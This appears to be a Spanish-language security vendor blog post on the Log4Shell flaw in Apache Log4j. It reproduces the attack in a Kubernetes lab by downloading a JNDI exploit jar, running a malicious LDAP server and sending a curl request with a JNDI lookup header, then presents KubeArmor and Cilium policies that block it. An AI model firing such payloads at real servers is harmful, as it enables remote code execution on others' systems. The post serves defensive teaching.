
Vulnerabilidad de Día Cero en Apache Log4j, también conocida como Log4Shell y CVE-2021-44228
El 9 de diciembre de 2021, el mundo fue informado de una nueva vulnerabilidad identificada como CVE-2021-44228, que afecta al paquete de registro Java Apache log4j. Esta vulnerabilidad obtuvo una puntuación de gravedad de 10.0 (la designación más crítica) y ofrece una ejecución remota de código trivial en hosts que interactúan con software que utiliza esta versión de log4j. “Log4Shell" es el nombre dado a este ataque.
Hoy, la versión 2.15.0rc2 de log4j está disponible y parchea esta vulnerabilidad. Sin embargo, el peligro absoluto de esta vulnerabilidad se debe a lo omnipresente que es el paquete de registro. Millones de aplicaciones, así como proveedores de software, utilizan este paquete como dependencia en su propio código.
Detección más temprana conocida: 2021-12-01 04:36:50 UTC

Versiones afectadas:
¿Quién está afectado?
Impacto: Ejecución de código arbitrario como el usuario bajo el cual se ejecuta el proceso padre (código obtenido de Internet pública, o lolbins ya presentes en el sistema, o simplemente obteniendo secretos compartidos o variables de entorno y devolviéndolos al atacante).
Objetivos: Servidores y clientes que ejecutan Java y además registran cualquier cosa usando el framework log4j - principalmente una preocupación del lado del servidor, pero cualquier endpoint vulnerable podría ser un objetivo o un punto de pivote.
Proyectos derivados: Hasta que se demuestre lo contrario, asuma que cualquier cosa que incluya log4j - incluyendo Elasticsearch, Apache Struts / Solr / Druid / Flink, etc. - está afectado de una manera que requiere mitigación.
Versiones afectadas: log4j 2.x confirmado - log4j 1.x solo indirectamente (vulnerabilidades previas de divulgación de información) (en algunas configuraciones)
Dispositivos: No olvide los dispositivos que pueden estar usando componentes de servidor Java, pero que no serán detectados por escaneo de vulnerabilidades no autenticado
Reenvío de registros: La infraestructura de registro a menudo tiene muchas topologías de reenvío/retransmisión "hacia el norte" (enviar mis registros a alguien) y "hacia el sur" (recibir registros de alguien). También se debe considerar la posibilidad de encadenarlos para su explotación.
Nube: Múltiples grandes proveedores también afectados (Una lista curada por la comunidad de software y servicios vulnerables a CVE-2021-44228 se puede encontrar en este repositorio de GitHub.

Paso #1: Desplegando pod con servicios asociados vulnerables a Log4j en Kubernetes
git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml
kubectl get po,svc
NAME READY STATUS RESTARTS AGE
pod/log4j-demo-5d7c84d8b9-vs8ck 1/1 Running 0 1h30m
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.112.0.1 <none> 443/TCP 4h44m
service/log4j-svc LoadBalancer 10.112.8.158 35.241.165.36 80:30202/TCP 1h30m
Tenga en cuenta que hemos desplegado la aplicación de muestra Log4Shell vulnerable en el namespace
default
Paso #2: Descargando el servidor LDAP malicioso
wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar
Paso #3: Iniciando el servidor LDAP para tráfico entrante en su PC o VM en la nube
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888
La IP privada se puede consultar usando
hostname -I.
Asegúrese de que su cortafuegos permita tráfico para los puertos1389y8888
Paso #4: Explotando usando el comando cURL
# curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Aquí, la primera IP usada es nuestra IP externa de k8s (Paso #1) donde se ejecuta la aplicación de muestra vulnerable.
La segunda IP usada es la IP externa del servidor LDAP malicioso (Paso #2)
Paso #5: Confirmación mediante la verificación de la creación del archivo /tmp/pwned
kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp
Reemplace
log4j-demo-5d7c84d8b9-vs8ckcon su pod de la salida del Paso #1.
Debería poder ver un archivo creado comopwneddentro del directorio/tmp.
KubeArmor es una plataforma de seguridad en tiempo de ejecución que puede ayudar a los equipos de Seguridad/DevSecOps a proteger sus cargas de trabajo mediante controles basados en aplicaciones/sistemas (como limitar la creación de procesos, limitar el acceso al sistema de archivos, limitar las capacidades de los pods, etc.). KubeArmor tiene un modo de visibilidad que permite al equipo de aplicación/seguridad habilitar la visibilidad, descubriendo así lo que está sucediendo dentro de los pods, es decir, qué procesos se crean, qué accesos a archivos se intentan, etc. La mayor ventaja de KubeArmor es que, como usuario, también puede enviar políticas que puedan prevenir/bloquear/denegar dichas operaciones del sistema.
Normalmente, un atacante se infiltra con la intención de exfiltrar datos internos, o para minar criptomonedas, o simplemente para causar estragos en las aplicaciones internas con la intención de hacerlas no disponibles. En todos estos casos, el atacante necesita ejecutar un programa arbitrario que pueda cumplir su intención maliciosa. La vulnerabilidad Log4j permite al atacante colocar un binario dentro de la red interna. Sin embargo, se pueden colocar barreras para no permitir que la JVM cree procesos.
A continuación se muestra una política de KubeArmor que puede denegar/prevenir que se bifurquen procesos en el pod como proceso hijo de la aplicación Java.
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: * #disaallow all paths from the java process
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Block
Tenga en cuenta que la acción es Block aquí. También note la condición fromSource que
indica que solo se deben denegar las ejecuciones desde el proceso dado.
Esencialmente, solo se deniega la ejecución de procesos hijos de Java/JVM. A diferencia de
otras herramientas, KubeArmor tiene la capacidad de Block (bloquear) la operación del sistema en
tiempo de ejecución.
En muchos casos, podría haber ciertos procesos existentes que aún necesitan ser creados por
Java/JVM. En tales casos, es mejor Allow (permitir) dichos procesos.
Al permitir estos procesos, KubeArmor deniega por defecto la ejecución de todos los demás procesos
como parte de ese proceso padre:
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: /usr/local/bin/myapp
fromSource:
- path: /opt/openjdk-16/bin/java
- path: /usr/local/bin/log4j
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Allow
En este ejemplo, los procesos myapp y log4j aún pueden ser creados por el proceso Java,
pero todos los demás procesos son denegados.
Al observar las políticas anteriores, uno naturalmente pensará: ¿cómo voy a obtener la especificación del proceso para permitir/denegar? Aquí es donde entra en juego el modo de visibilidad de KubeArmor:
== Log / 2021-12-12 19:48:37.737160 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Type: ContainerLog
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Result: Passed
Bloquear cualquier proceso creado desde el proceso JVM/Java resulta en la siguiente alerta mientras se deniega la ejecución (tenga en cuenta que KubeArmor es un motor de cumplimiento):
== Alert / 2021-12-12 19:57:07.871126 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Policy Name: do-not-allow-exec-from-java
Severity: 5
Message: disallowed execing from java process
Type: MatchedPolicy
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Action: Block
Result: Passed
El equipo de Cilium ya ha presentado su análisis para prevenir explotaciones de log4j en entornos k8s mediante políticas de red. Esencialmente, las políticas de prevención tienen como objetivo garantizar que se apliquen las políticas menos permisivas para DNS, de modo que cualquier cosa fuera de ese ámbito esté prohibida.
Un desafío para un equipo de seguridad en este contexto podría ser descubrir todos los FQDN posibles a los que se conectan los pods. Cilium proporciona una rica visibilidad de red mediante la cual se puede posiblemente generar el conjunto exhaustivo de FQDN a los que acceden los pods.
Además de esas políticas, hay algunas otras políticas preventivas que podrían emprenderse.
RMI es una funcionalidad menos utilizada por la mayoría de las organizaciones. En caso de log4j, RMI está habilitado por defecto y a la mayoría de las organizaciones probablemente no les importaría si se deshabilita por completo. Por lo tanto, si su organización no está utilizando activamente esa característica, lo mejor es deshabilitarla por completo. Se podría utilizar la siguiente política de Cilium:
apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
name: "L4_rule_to_block_RMI_access"
spec:
endpointSelector:
matchLabels:
app: log4j2
ingress:
- fromEndpoints:
toPorts:
- ports:
- port: "1099"
protocol: TCP
... donde 1099 es el puerto RMI predeterminado.
El tipo de reglas descritas anteriormente son fáciles de concebir en retrospectiva.
La siguiente pregunta obvia es cómo prevenir la posibilidad de mal uso de tales vulnerabilidades en el futuro.
La Ejecución de Código Arbitrario es un modo de ataque importante y uno debe centrarse en definir qué hace que el código sea "arbitrario". Arbitrario en el contexto podría definirse como cualquier cosa que no esté en el contexto de ejecución habitual.
Usar una arquitectura de Confianza Cero (ZTNA) requiere especificar un conjunto de políticas menos permisivas que solo permita acciones en lista blanca y deniegue todo lo demás. Por lo tanto, tener una postura de Confianza Cero podría proteger eficazmente a una organización de las posibilidades de tales ataques.
Sin embargo, lograr la Confianza Cero en la práctica es mucho más desafiante. La Confianza Cero requiere que una organización tenga la automatización adecuada, procesos de despliegue de software junto con las herramientas correctas. Algunos puntos para reflexionar podrían ser:
Una postura de Confianza Cero a través de la red y las aplicaciones/sistemas podría definirse de la siguiente manera:
KubeArmor proporciona motores de aplicación de políticas flexibles junto con las herramientas adecuadas de descubrimiento/recomendación de políticas que ayudan precisamente a una organización a responder las preguntas anteriores. Accuknox ha construido los motores de políticas teniendo en cuenta principios básicos de diseño, es decir, cada motor de políticas debe soportar observabilidad, auditoría (dry-run) y opciones de cumplimiento.
La observabilidad combinada con el motor de descubrimiento de políticas puede proporcionar a una organización la configuración de políticas menos permisivas requerida.

Si desea probar el motor de descubrimiento de políticas en su clúster k8s con sus cargas de trabajo, siga el playbook aquí.